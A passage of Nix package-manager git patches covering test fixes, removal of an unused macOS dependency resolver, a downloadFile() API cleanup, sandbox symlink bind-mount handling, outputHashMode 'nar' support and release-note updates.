trusted, store->getUri())); + } else { + checkInfo(fmt("Store uri: %s doesn't have a notion of trusted user", store->getUri())); + } } }; diff --git a/tests/functional/legacy-ssh-store.sh b/tests/functional/legacy-ssh-store.sh index 79c3fba82..56b4c2d20 100644 --- a/tests/functional/legacy-ssh-store.sh +++ b/tests/functional/legacy-ssh-store.sh @@ -6,4 +6,4 @@ store_uri="ssh://localhost?remote-store=$TEST_ROOT/other-store" nix --store "$store_uri" store info --json | jq -e 'has("trusted") | not' # Suppress grumpiness about multiple nixes on PATH -(nix --store "$store_uri" doctor || true) 2>&1 | grep 'You are unknown trust' +(nix --store "$store_uri" doctor || true) 2>&1 | grep "doesn't have a notion of trusted user" From 737ce5e81f4eae292d193e38fec961f105909f0b Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 8 Apr 2024 15:20:04 +0200 Subject: [PATCH 0416/1251] Actually run the Mercurial tests --- tests/functional/fetchMercurial.sh | 2 +- tests/functional/flakes/mercurial.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/functional/fetchMercurial.sh b/tests/functional/fetchMercurial.sh index e6f8525c6..e133df1f8 100644 --- a/tests/functional/fetchMercurial.sh +++ b/tests/functional/fetchMercurial.sh @@ -1,6 +1,6 @@ source common.sh -[[ $(type -p hq) ]] || skipTest "Mercurial not installed" +[[ $(type -p hg) ]] || skipTest "Mercurial not installed" clearStore diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh index 0622c79b7..7074af6f7 100644 --- a/tests/functional/flakes/mercurial.sh +++ b/tests/functional/flakes/mercurial.sh @@ -1,6 +1,6 @@ source ./common.sh -[[ $(type -p hq) ]] || skipTest "Mercurial not installed" +[[ $(type -p hg) ]] || skipTest "Mercurial not installed" flake1Dir=$TEST_ROOT/flake-hg1 mkdir -p $flake1Dir From e68f24f1e0d81d3d367057f149d43dfa883579cc Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 8 Apr 2024 09:06:00 -0400 Subject: [PATCH 0417/1251] Remove `resolve-system-dependencies` Fix #9769 As Abathur reports, it seems to be unused since #3429 in 2020. --- .gitignore | 2 - Makefile | 1 - src/resolve-system-dependencies/local.mk | 13 -- .../resolve-system-dependencies.cc | 190 ------------------ 4 files changed, 206 deletions(-) delete mode 100644 src/resolve-system-dependencies/local.mk delete mode 100644 src/resolve-system-dependencies/resolve-system-dependencies.cc diff --git a/.gitignore b/.gitignore index 5a33c00ea..6996ca484 100644 --- a/.gitignore +++ b/.gitignore @@ -118,8 +118,6 @@ perl/Makefile.config /misc/systemd/nix-daemon.conf /misc/upstart/nix-daemon.conf -/src/resolve-system-dependencies/resolve-system-dependencies - outputs/ *.a diff --git a/Makefile b/Makefile index 5c11c4a1d..0028c957a 100644 --- a/Makefile +++ b/Makefile @@ -21,7 +21,6 @@ makefiles = \ src/libutil-c/local.mk \ src/libstore-c/local.mk \ src/libexpr-c/local.mk \ - src/resolve-system-dependencies/local.mk \ scripts/local.mk \ misc/bash/local.mk \ misc/fish/local.mk \ diff --git a/src/resolve-system-dependencies/local.mk b/src/resolve-system-dependencies/local.mk deleted file mode 100644 index e138c4080..000000000 --- a/src/resolve-system-dependencies/local.mk +++ /dev/null @@ -1,13 +0,0 @@ -ifdef HOST_DARWIN - programs += resolve-system-dependencies -endif - -resolve-system-dependencies_DIR := $(d) - -resolve-system-dependencies_INSTALL_DIR := $(libexecdir)/nix - -resolve-system-dependencies_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libmain) - -resolve-system-dependencies_LIBS := libstore libmain libutil - -resolve-system-dependencies_SOURCES := $(d)/resolve-system-dependencies.cc diff --git a/src/resolve-system-dependencies/resolve-system-dependencies.cc b/src/resolve-system-dependencies/resolve-system-dependencies.cc deleted file mode 100644 index 4ea268d24..000000000 --- a/src/resolve-system-dependencies/resolve-system-dependencies.cc +++ /dev/null @@ -1,190 +0,0 @@ -#include "derivations.hh" -#include "globals.hh" -#include "shared.hh" -#include "store-api.hh" -#include -#include -#include -#include -#include -#include -#include -#include - -#define DO_SWAP(x, y) ((x) ? OSSwapInt32(y) : (y)) - -using namespace nix; - -static auto cacheDir = Path{}; - -Path resolveCacheFile(Path lib) -{ - std::replace(lib.begin(), lib.end(), '/', '%'); - return cacheDir + "/" + lib; -} - -std::set readCacheFile(const Path & file) -{ - return tokenizeString>(readFile(file), "\n"); -} - -std::set runResolver(const Path & filename) -{ - AutoCloseFD fd = open(filename.c_str(), O_RDONLY); - if (!fd) - throw SysError("opening '%s'", filename); - - struct stat st; - if (fstat(fd.get(), &st)) - throw SysError("statting '%s'", filename); - - if (!S_ISREG(st.st_mode)) { - printError("file '%s' is not a regular MACH binary", filename); - return {}; - } - - if (st.st_size < sizeof(mach_header_64)) { - printError("file '%s' is too short for a MACH binary", filename); - return {}; - } - - char* obj = (char*) mmap(NULL, st.st_size, PROT_READ, MAP_SHARED, fd.get(), 0); - if (!obj) - throw SysError("mmapping '%s'", filename); - - ptrdiff_t mach64_offset = 0; - - uint32_t magic = ((mach_header_64*) obj)->magic; - if (magic == FAT_CIGAM || magic == FAT_MAGIC) { - bool should_swap = magic == FAT_CIGAM; - uint32_t narches = DO_SWAP(should_swap, ((fat_header *) obj)->nfat_arch); - for (uint32_t i = 0; i < narches; i++) { - fat_arch* arch = (fat_arch*) (obj + sizeof(fat_header) + sizeof(fat_arch) * i); - if (DO_SWAP(should_swap, arch->cputype) == CPU_TYPE_X86_64) { - mach64_offset = (ptrdiff_t) DO_SWAP(should_swap, arch->offset); - break; - } - } - if (mach64_offset == 0) { - printError("could not find any mach64 blobs in file '%1%', continuing...", filename); - return {}; - } - } else if (magic == MH_MAGIC_64 || magic == MH_CIGAM_64) { - mach64_offset = 0; - } else { - printError("Object file has unknown magic number '%1%', skipping it...", magic); - return {}; - } - - mach_header_64 * m_header = (mach_header_64 *) (obj + mach64_offset); - - bool should_swap = magic == MH_CIGAM_64; - ptrdiff_t cmd_offset = mach64_offset + sizeof(mach_header_64); - - std::set libs; - for (uint32_t i = 0; i < DO_SWAP(should_swap, m_header->ncmds); i++) { - load_command * cmd = (load_command *) (obj + cmd_offset); - switch(DO_SWAP(should_swap, cmd->cmd)) { - case LC_LOAD_UPWARD_DYLIB: - case LC_LOAD_DYLIB: - case LC_REEXPORT_DYLIB: - libs.insert(std::string((char *) cmd + ((dylib_command*) cmd)->dylib.name.offset)); - break; - } - cmd_offset += DO_SWAP(should_swap, cmd->cmdsize); - } - - return libs; -} - -bool isSymlink(const Path & path) -{ - return S_ISLNK(lstat(path).st_mode); -} - -Path resolveSymlink(const Path & path) -{ - auto target = readLink(path); - return hasPrefix(target, "/") - ? target - : concatStrings(dirOf(path), "/", target); -} - -std::set resolveTree(const Path & path, PathSet & deps) -{ - std::set results; - if (!deps.insert(path).second) return {}; - for (auto & lib : runResolver(path)) { - results.insert(lib); - for (auto & p : resolveTree(lib, deps)) { - results.insert(p); - } - } - return results; -} - -std::set getPath(const Path & path) -{ - if (hasPrefix(path, "/dev")) return {}; - - Path cacheFile = resolveCacheFile(path); - if (pathExists(cacheFile)) - return readCacheFile(cacheFile); - - std::set deps, paths; - paths.insert(path); - - Path nextPath(path); - while (isSymlink(nextPath)) { - nextPath = resolveSymlink(nextPath); - paths.insert(nextPath); - } - - for (auto & t : resolveTree(nextPath, deps)) - paths.insert(t); - - writeFile(cacheFile, concatStringsSep("\n", paths)); - - return paths; -} - -int main(int argc, char ** argv) -{ - return handleExceptions(argv[0], [&]() { - initNix(); - - struct utsname _uname; - - uname(&_uname); - - auto cacheParentDir = fmt("%1%/dependency-maps", settings.nixStateDir); - - cacheDir = fmt("%1%/%2%-%3%-%4%", cacheParentDir, _uname.machine, _uname.sysname, _uname.release); - - mkdir(cacheParentDir.c_str(), 0755); - mkdir(cacheDir.c_str(), 0755); - - auto store = openStore(); - - StringSet impurePaths; - - if (std::string(argv[1]) == "--test") - impurePaths.insert(argv[2]); - else { - auto drv = store->derivationFromPath(store->parseStorePath(argv[1])); - impurePaths = tokenizeString(getOr(drv.env, "__impureHostDeps", "")); - impurePaths.insert("/usr/lib/libSystem.dylib"); - } - - std::set allPaths; - - for (auto & path : impurePaths) - for (auto & p : getPath(path)) - allPaths.insert(p); - - std::cout << "extra-chroot-dirs" << std::endl; - for (auto & path : allPaths) - std::cout << path << std::endl; - std::cout << std::endl; - }); -} From d29786f25854c910e08d9a8438d589f02adc9569 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 5 Apr 2024 16:35:12 +0200 Subject: [PATCH 0418/1251] downloadFile(): Remove the "locked" (aka "immutable") flag This was used in only one place, namely builtins.fetchurl with an expected hash. Since this can cause similar issues as described in #9814 and #9905 with the "locked" flag for fetchTarball and fetchTree, let's just remove it. Note that if an expected hash is given and the hash algorithm is SHA-256, then we will never do a download anyway if the resulting store path already exists. So removing the "locked" flag will only cause potentially unnecessary HTTP requests (subject to the tarball TTL) for non-SHA-256 hashes. --- src/libexpr/primops/fetchTree.cc | 2 +- src/libfetchers/github.cc | 8 ++++---- src/libfetchers/registry.cc | 2 +- src/libfetchers/tarball.cc | 5 ++--- src/libfetchers/tarball.hh | 1 - src/nix-channel/nix-channel.cc | 6 +++--- 6 files changed, 11 insertions(+), 13 deletions(-) diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 7906f8ac3..0190aca3d 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -473,7 +473,7 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v auto storePath = unpack ? fetchToStore(*state.store, fetchers::downloadTarball(*url).accessor, FetchMode::Copy, name) - : fetchers::downloadFile(state.store, *url, name, (bool) expectedHash).storePath; + : fetchers::downloadFile(state.store, *url, name).storePath; if (expectedHash) { auto hash = unpack diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 60e323464..985f2e479 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -357,7 +357,7 @@ struct GitHubInputScheme : GitArchiveInputScheme auto json = nlohmann::json::parse( readFile( store->toRealPath( - downloadFile(store, url, "source", false, headers).storePath))); + downloadFile(store, url, "source", headers).storePath))); return RefInfo { .rev = Hash::parseAny(std::string { json["sha"] }, HashAlgorithm::SHA1), @@ -431,7 +431,7 @@ struct GitLabInputScheme : GitArchiveInputScheme auto json = nlohmann::json::parse( readFile( store->toRealPath( - downloadFile(store, url, "source", false, headers).storePath))); + downloadFile(store, url, "source", headers).storePath))); return RefInfo { .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1) @@ -495,7 +495,7 @@ struct SourceHutInputScheme : GitArchiveInputScheme std::string refUri; if (ref == "HEAD") { auto file = store->toRealPath( - downloadFile(store, fmt("%s/HEAD", base_url), "source", false, headers).storePath); + downloadFile(store, fmt("%s/HEAD", base_url), "source", headers).storePath); std::ifstream is(file); std::string line; getline(is, line); @@ -511,7 +511,7 @@ struct SourceHutInputScheme : GitArchiveInputScheme std::regex refRegex(refUri); auto file = store->toRealPath( - downloadFile(store, fmt("%s/info/refs", base_url), "source", false, headers).storePath); + downloadFile(store, fmt("%s/info/refs", base_url), "source", headers).storePath); std::ifstream is(file); std::string line; diff --git a/src/libfetchers/registry.cc b/src/libfetchers/registry.cc index 9c7bc0cfe..e00b9de46 100644 --- a/src/libfetchers/registry.cc +++ b/src/libfetchers/registry.cc @@ -158,7 +158,7 @@ static std::shared_ptr getGlobalRegistry(ref store) } if (!hasPrefix(path, "/")) { - auto storePath = downloadFile(store, path, "flake-registry.json", false).storePath; + auto storePath = downloadFile(store, path, "flake-registry.json").storePath; if (auto store2 = store.dynamic_pointer_cast()) store2->addPermRoot(storePath, getCacheDir() + "/nix/flake-registry.json"); path = store->toRealPath(storePath); diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index f08509cb7..a1f934c35 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -19,7 +19,6 @@ DownloadFileResult downloadFile( ref store, const std::string & url, const std::string & name, - bool locked, const Headers & headers) { // FIXME: check store @@ -101,7 +100,7 @@ DownloadFileResult downloadFile( inAttrs, infoAttrs, *storePath, - locked); + false); } return { @@ -306,7 +305,7 @@ struct FileInputScheme : CurlInputScheme the Nix store directly, since there is little deduplication benefit in using the Git cache for single big files like tarballs. */ - auto file = downloadFile(store, getStrAttr(input.attrs, "url"), input.getName(), false); + auto file = downloadFile(store, getStrAttr(input.attrs, "url"), input.getName()); auto narHash = store->queryPathInfo(file.storePath)->narHash; input.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); diff --git a/src/libfetchers/tarball.hh b/src/libfetchers/tarball.hh index 77ad3bf09..bcb5dcc5e 100644 --- a/src/libfetchers/tarball.hh +++ b/src/libfetchers/tarball.hh @@ -25,7 +25,6 @@ DownloadFileResult downloadFile( ref store, const std::string & url, const std::string & name, - bool locked, const Headers & headers = {}); struct DownloadTarballResult diff --git a/src/nix-channel/nix-channel.cc b/src/nix-channel/nix-channel.cc index 48553fa31..9f7f557b5 100644 --- a/src/nix-channel/nix-channel.cc +++ b/src/nix-channel/nix-channel.cc @@ -112,7 +112,7 @@ static void update(const StringSet & channelNames) // We want to download the url to a file to see if it's a tarball while also checking if we // got redirected in the process, so that we can grab the various parts of a nix channel // definition from a consistent location if the redirect changes mid-download. - auto result = fetchers::downloadFile(store, url, std::string(baseNameOf(url)), false); + auto result = fetchers::downloadFile(store, url, std::string(baseNameOf(url))); auto filename = store->toRealPath(result.storePath); url = result.effectiveUrl; @@ -126,9 +126,9 @@ static void update(const StringSet & channelNames) if (!unpacked) { // Download the channel tarball. try { - filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.xz", "nixexprs.tar.xz", false).storePath); + filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.xz", "nixexprs.tar.xz").storePath); } catch (FileTransferError & e) { - filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.bz2", "nixexprs.tar.bz2", false).storePath); + filename = store->toRealPath(fetchers::downloadFile(store, url + "/nixexprs.tar.bz2", "nixexprs.tar.bz2").storePath); } } // Regardless of where it came from, add the expression representing this channel to accumulated expression From f34b8de5b2ba9f5ed92924e30661b70ed427a123 Mon Sep 17 00:00:00 2001 From: Maximilian Bosch Date: Tue, 9 Apr 2024 21:27:00 +0200 Subject: [PATCH 0419/1251] doc/rl-2.20: add missing entry about `nix copy --to ssh-ng://...` This requires `--substitute-on-destination` if you want the remote side to substitute instead of copying if possible. For completeness sake, document it here. Also, the stable Nix from nixpkgs is still 2.18, so more folks may stumble upon this when this is bumped, so I'd expect this to be actually useful. Closes #10182 --- doc/manual/src/release-notes/rl-2.20.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/doc/manual/src/release-notes/rl-2.20.md b/doc/manual/src/release-notes/rl-2.20.md index 8ede168a4..d36dd4784 100644 --- a/doc/manual/src/release-notes/rl-2.20.md +++ b/doc/manual/src/release-notes/rl-2.20.md @@ -200,3 +200,8 @@ while performing various operations (including `nix develop`, `nix flake update`, and so on). With several fixes to Nix's signal handlers, Nix commands will now exit quickly after Ctrl-C is pressed. + +- `nix copy` to a `ssh-ng` store now needs `--substitute-on-destination` (a.k.a. `-s`) + in order to substitute paths on the remote store instead of copying them. + The behavior is consistent with `nix copy` to a different kind of remote store. + Previously this behavior was controlled by `--builders-use-substitutes`. From 93d68e18e588aa82e144fb6ab0cd1be0eae2e413 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 13 Feb 2024 15:22:31 -0500 Subject: [PATCH 0420/1251] Make `outputHashAlgo` accept `"nar"`, stay in sync Now that we have a few things identifying content address methods by name, we should be consistent about it. Move up the `parseHashAlgoOpt` for tidiness too. Discussed this change for consistency's sake as part of #8876 Co-authored-by: Eelco Dolstra --- .../src/language/advanced-attributes.md | 9 +++++++-- src/libexpr/primops.cc | 20 ++++++++++--------- tests/functional/fixed.nix | 2 ++ tests/functional/fixed.sh | 4 ++++ 4 files changed, 24 insertions(+), 11 deletions(-) diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index b3e3afe3b..16dcc6ba9 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -207,12 +207,17 @@ Derivations can declare some infrequently used optional attributes. This is the default. - - `"recursive"`\ - The hash is computed over the NAR archive dump of the output + - `"recursive"` or `"nar"`\ + The hash is computed over the [NAR archive](@docroot@/glossary.md#gloss-nar) dump of the output (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)). In this case, the output can be anything, including a directory tree. + `"recursive"` is the traditional way of indicating this, + and is supported since 2005 (virtually the entire history of Nix). + `"nar"` is more clear, and consistent with other parts of Nix (such as the CLI), + however support for it is only added in Nix version 2.21. + - [`__contentAddressed`]{#adv-attr-__contentAddressed} > **Warning** > This attribute is part of an [experimental feature](@docroot@/contributing/experimental-features.md). diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 8a2b3512b..0911ce117 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1139,18 +1139,20 @@ drvName, Bindings * attrs, Value & v) vomit("processing attribute '%1%'", key); auto handleHashMode = [&](const std::string_view s) { - if (s == "recursive") ingestionMethod = FileIngestionMethod::Recursive; - else if (s == "flat") ingestionMethod = FileIngestionMethod::Flat; - else if (s == "git") { - experimentalFeatureSettings.require(Xp::GitHashing); - ingestionMethod = FileIngestionMethod::Git; - } else if (s == "text") { - experimentalFeatureSettings.require(Xp::DynamicDerivations); - ingestionMethod = TextIngestionMethod {}; - } else + if (s == "recursive") { + // back compat, new name is "nar" + ingestionMethod = FileIngestionMethod::Recursive; + } else try { + ingestionMethod = ContentAddressMethod::parse(s); + } catch (UsageError &) { state.error( "invalid value '%s' for 'outputHashMode' attribute", s ).atPos(v).debugThrow(); + } + if (ingestionMethod == TextIngestionMethod {}) + experimentalFeatureSettings.require(Xp::DynamicDerivations); + if (ingestionMethod == FileIngestionMethod::Git) + experimentalFeatureSettings.require(Xp::GitHashing); }; auto handleOutputs = [&](const Strings & ss) { diff --git a/tests/functional/fixed.nix b/tests/functional/fixed.nix index 5bdf79333..a920a2167 100644 --- a/tests/functional/fixed.nix +++ b/tests/functional/fixed.nix @@ -64,4 +64,6 @@ rec { (f2 "bar" ./fixed.builder2.sh "recursive" "md5" "3670af73070fa14077ad74e0f5ea4e42") ]; + # Can use "nar" instead of "recursive" now. + nar-not-recursive = f2 "foo" ./fixed.builder2.sh "nar" "md5" "3670af73070fa14077ad74e0f5ea4e42"; } diff --git a/tests/functional/fixed.sh b/tests/functional/fixed.sh index d98d4cd15..7bbecda91 100644 --- a/tests/functional/fixed.sh +++ b/tests/functional/fixed.sh @@ -61,3 +61,7 @@ out3=$(nix-store --add-fixed --recursive sha256 $TEST_ROOT/fixed) out4=$(nix-store --print-fixed-path --recursive sha256 "1ixr6yd3297ciyp9im522dfxpqbkhcw0pylkb2aab915278fqaik" fixed) [ "$out" = "$out4" ] + +# Can use `outputHashMode = "nar";` instead of `"recursive"` now. +clearStore +nix-build fixed.nix -A nar-not-recursive --no-out-link From 872d93eb13f22e8705e03903b65c7eba8b26a99b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Wed, 10 Apr 2024 15:17:39 +0200 Subject: [PATCH 0421/1251] Add a test for depending on a symlink store path Regression test for https://github.com/NixOS/nix/issues/9579 --- tests/functional/linux-sandbox.sh | 3 +++ tests/functional/symlink-derivation.nix | 36 +++++++++++++++++++++++++ 2 files changed, 39 insertions(+) create mode 100644 tests/functional/symlink-derivation.nix diff --git a/tests/functional/linux-sandbox.sh b/tests/functional/linux-sandbox.sh index ff7d257bd..04209277b 100644 --- a/tests/functional/linux-sandbox.sh +++ b/tests/functional/linux-sandbox.sh @@ -73,3 +73,6 @@ testCert missing fixed-output "$nocert" # Cert in sandbox when ssl-cert-file is set to an existing file testCert present fixed-output "$cert" + +# Symlinks should be added in the sandbox directly and not followed +nix-sandbox-build symlink-derivation.nix diff --git a/tests/functional/symlink-derivation.nix b/tests/functional/symlink-derivation.nix new file mode 100644 index 000000000..17ba37424 --- /dev/null +++ b/tests/functional/symlink-derivation.nix @@ -0,0 +1,36 @@ +with import ./config.nix; + +let + foo_in_store = builtins.toFile "foo" "foo"; + foo_symlink = mkDerivation { + name = "foo-symlink"; + buildCommand = '' + ln -s ${foo_in_store} $out + ''; + }; + symlink_to_not_in_store = mkDerivation { + name = "symlink-to-not-in-store"; + buildCommand = '' + ln -s ${builtins.toString ./.} $out + ''; + }; +in +mkDerivation { + name = "depends-on-symlink"; + buildCommand = '' + ( + set -x + + # `foo_symlink` should be a symlink pointing to `foo_in_store` + [[ -L ${foo_symlink} ]] + [[ $(readlink ${foo_symlink}) == ${foo_in_store} ]] + + # `symlink_to_not_in_store` should be a symlink pointing to `./.`, which + # is not available in the sandbox + [[ -L ${symlink_to_not_in_store} ]] + [[ $(readlink ${symlink_to_not_in_store}) == ${builtins.toString ./.} ]] + (! ls ${symlink_to_not_in_store}/) + ) + echo "Success!" > $out + ''; +} From 913db9f7385b8717d9eaf6269e9f319e78e4c564 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Wed, 10 Apr 2024 15:19:18 +0200 Subject: [PATCH 0422/1251] Fix permission denied when building symlink derivation which points to a symlink out of the store Bind-mounting symlinks is apparently not possible, which is why the thing was failing. Fortunately, symlinks are small, so we can fallback to copy them at no cost. Fix https://github.com/NixOS/nix/issues/9579 Co-authored-by: Artturin --- src/libstore/build/local-derivation-goal.cc | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index ab66195b8..68c387a9d 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -24,6 +24,7 @@ #include #include +#include #include #include #include @@ -396,20 +397,30 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() static void doBind(const Path & source, const Path & target, bool optional = false) { debug("bind mounting '%1%' to '%2%'", source, target); struct stat st; - if (stat(source.c_str(), &st) == -1) { + + auto bindMount = [&]() { + if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1) + throw SysError("bind mount from '%1%' to '%2%' failed", source, target); + }; + + if (lstat(source.c_str(), &st) == -1) { if (optional && errno == ENOENT) return; else throw SysError("getting attributes of path '%1%'", source); } - if (S_ISDIR(st.st_mode)) + if (S_ISDIR(st.st_mode)) { createDirs(target); - else { + bindMount(); + } else if (S_ISLNK(st.st_mode)) { + // Symlinks can (apparently) not be bind-mounted, so just copy it + createDirs(dirOf(target)); + copyFile(source, target, /* andDelete */ false); + } else { createDirs(dirOf(target)); writeFile(target, ""); + bindMount(); } - if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1) - throw SysError("bind mount from '%1%' to '%2%' failed", source, target); }; #endif From ae4737294e91ab93526612b17950e1bc4f0b47f0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Wed, 10 Apr 2024 15:17:56 +0200 Subject: [PATCH 0423/1251] doBind: Use our own lstat wrapper Doesn't change much, but brings a bit more consistency to the code --- src/libstore/build/local-derivation-goal.cc | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 68c387a9d..db12af810 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -24,7 +24,6 @@ #include #include -#include #include #include #include @@ -396,19 +395,21 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() #if __linux__ static void doBind(const Path & source, const Path & target, bool optional = false) { debug("bind mounting '%1%' to '%2%'", source, target); - struct stat st; auto bindMount = [&]() { if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1) throw SysError("bind mount from '%1%' to '%2%' failed", source, target); }; - if (lstat(source.c_str(), &st) == -1) { - if (optional && errno == ENOENT) + auto maybeSt = maybeLstat(source); + if (!maybeSt) { + if (optional) return; else throw SysError("getting attributes of path '%1%'", source); } + auto st = *maybeSt; + if (S_ISDIR(st.st_mode)) { createDirs(target); bindMount(); From 50557adb3b58445f1ca176bc6f653afa5151567c Mon Sep 17 00:00:00 2001 From: Maximilian Bosch Date: Wed, 10 Apr 2024 17:26:58 +0200 Subject: [PATCH 0424/1251] doc/rl-2.20: clarify builders-use-substitutes vs. substitute-on-destination ...as this lead to confusion before. --- doc/manual/src/release-notes/rl-2.20.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/doc/manual/src/release-notes/rl-2.20.md b/doc/manual/src/release-notes/rl-2.20.md index d36dd4784..eb724f600 100644 --- a/doc/manual/src/release-notes/rl-2.20.md +++ b/doc/manual/src/release-notes/rl-2.20.md @@ -204,4 +204,5 @@ - `nix copy` to a `ssh-ng` store now needs `--substitute-on-destination` (a.k.a. `-s`) in order to substitute paths on the remote store instead of copying them. The behavior is consistent with `nix copy` to a different kind of remote store. - Previously this behavior was controlled by `--builders-use-substitutes`. + Previously this behavior was controlled by the + `builders-use-substitutes` setting and `--substitute-on-destination` was ignored. From 664532c533457fb7bda113ea432fb53710fd7d92 Mon Sep 17 00:00:00 2001 From: Ivan Trubach Date: Wed, 10 Apr 2024 13:34:17 +0300 Subject: [PATCH 0425/1251] Do not rely on $stdenv/setup to set output variables Instead of relying on setup script to set output variables when structured attributes are enabled, iterate over the values of an outputs associative array. See also https://github.com/NixOS/nixpkgs/blob/374fa3532ee7d7496165d3b5a6652a3dcad1ebc2/pkgs/stdenv/generic/setup.sh#L23-L26 --- src/nix/develop.cc | 24 +++++++++++++++----- src/nix/get-env.sh | 33 ++++++++++++++++------------ tests/functional/shell.nix | 8 ------- tests/functional/structured-attrs.sh | 2 +- 4 files changed, 38 insertions(+), 29 deletions(-) diff --git a/src/nix/develop.cc b/src/nix/develop.cc index bb96f7786..b654dc52f 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -177,6 +177,14 @@ struct BuildEnvironment throw Error("bash variable is not a string"); } + static Associative getAssociative(const Value & value) + { + if (auto assoc = std::get_if(&value)) + return *assoc; + else + throw Error("bash variable is not an associative array"); + } + static Array getStrings(const Value & value) { if (auto str = std::get_if(&value)) @@ -362,13 +370,17 @@ struct Common : InstallableCommand, MixProfile auto outputs = buildEnvironment.vars.find("outputs"); assert(outputs != buildEnvironment.vars.end()); - // FIXME: properly unquote 'outputs'. StringMap rewrites; - for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) { - auto from = buildEnvironment.vars.find(outputName); - assert(from != buildEnvironment.vars.end()); - // FIXME: unquote - rewrites.insert({BuildEnvironment::getString(from->second), outputsDir + "/" + outputName}); + if (buildEnvironment.providesStructuredAttrs()) { + for (auto & [outputName, from] : BuildEnvironment::getAssociative(outputs->second)) { + rewrites.insert({from, outputsDir + "/" + outputName}); + } + } else { + for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) { + auto from = buildEnvironment.vars.find(outputName); + assert(from != buildEnvironment.vars.end()); + rewrites.insert({BuildEnvironment::getString(from->second), outputsDir + "/" + outputName}); + } } /* Substitute redirects. */ diff --git a/src/nix/get-env.sh b/src/nix/get-env.sh index 832cc2f11..071edf9b9 100644 --- a/src/nix/get-env.sh +++ b/src/nix/get-env.sh @@ -128,20 +128,25 @@ __escapeString() { printf '"%s"' "$__s" } -# In case of `__structuredAttrs = true;` the list of outputs is an associative -# array with a format like `outname => /nix/store/hash-drvname-outname`, so `__olist` -# must contain the array's keys (hence `${!...[@]}`) in this case. -if [ -e "$NIX_ATTRS_SH_FILE" ]; then - __olist="${!outputs[@]}" -else - __olist=$outputs -fi - -for __output in $__olist; do - if [[ -z $__done ]]; then - __dumpEnv > ${!__output} +__dumpEnvToOutput() { + local __output="$1" + if [[ -z ${__done-} ]]; then + __dumpEnv > "$__output" __done=1 else - echo -n >> "${!__output}" + echo -n >> "$__output" fi -done +} + +# In case of `__structuredAttrs = true;` the list of outputs is an associative +# array with a format like `outname => /nix/store/hash-drvname-outname`. +# Otherwise it is a space-separated list of output variable names. +if [ -e "$NIX_ATTRS_SH_FILE" ]; then + for __output in "${outputs[@]}"; do + __dumpEnvToOutput "$__output" + done +else + for __outname in $outputs; do + __dumpEnvToOutput "${!__outname}" + done +fi diff --git a/tests/functional/shell.nix b/tests/functional/shell.nix index 92d94fbc2..6a7dd7ad1 100644 --- a/tests/functional/shell.nix +++ b/tests/functional/shell.nix @@ -21,14 +21,6 @@ let pkgs = rec { export PATH=$PATH:$pkg/bin done - # mimic behavior of stdenv for `$out` etc. for structured attrs. - if [ -n "''${NIX_ATTRS_SH_FILE}" ]; then - for o in "''${!outputs[@]}"; do - eval "''${o}=''${outputs[$o]}" - export "''${o}" - done - fi - declare -a arr1=(1 2 "3 4" 5) declare -a arr2=(x $'\n' $'x\ny') fun() { diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh index f11992dcd..6711efbb4 100644 --- a/tests/functional/structured-attrs.sh +++ b/tests/functional/structured-attrs.sh @@ -32,4 +32,4 @@ jsonOut="$(nix print-dev-env -f structured-attrs-shell.nix --json)" test "$(<<<"$jsonOut" jq '.structuredAttrs|keys|.[]' 